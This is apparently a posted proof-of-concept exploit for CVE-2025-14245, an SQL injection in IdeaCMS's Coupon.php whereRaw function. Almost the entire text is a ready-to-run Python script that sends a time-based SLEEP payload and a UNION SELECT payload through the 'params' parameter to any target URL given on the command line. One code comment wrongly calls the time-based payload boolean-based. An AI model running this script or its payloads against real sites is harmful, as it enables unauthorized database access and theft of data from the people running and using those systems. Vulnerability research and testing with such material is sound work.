CVE-2025-14245 IdeaCMS whereRaw函数SQL注入漏洞

import requests import sys # CVE-2025-14245 PoC - IdeaCMS SQL Injection in Coupon.php whereRaw function # Target: IdeaCMS <= 1.8 # Vulnerability: SQL Injection via params parameter in whereRaw function def exploit_sql_injection(target_url): """ Exploit SQL injection vulnerability in IdeaCMS Coupon.php whereRaw function """ # Vulnerable endpoint (typical IdeaCMS structure) endpoint = f"{target_url}/index/coupon/index" # SQL Injection payload - extracts database version # Using boolean-based blind injection technique payload = { 'params': "1' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- " } print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-14245 SQL Injection...") try: response = requests.get(endpoint, params=payload, timeout=10) print(f"[+] Request sent to {endpoint}") print(f"[+] Status Code: {response.status_code}") # Check for time-based injection response if response.elapsed.total_seconds() >= 5: print("[+] Time-based SQL injection confirmed!") # Example: UNION-based injection to extract data union_payload = { 'params': "1' UNION SELECT 1,2,3,4,version(),6,7,8,9,10-- " } print("[*] Trying UNION-based injection...") response = requests.get(endpoint, params=union_payload, timeout=10) print(f"[+] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/ideacms") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sql_injection(target)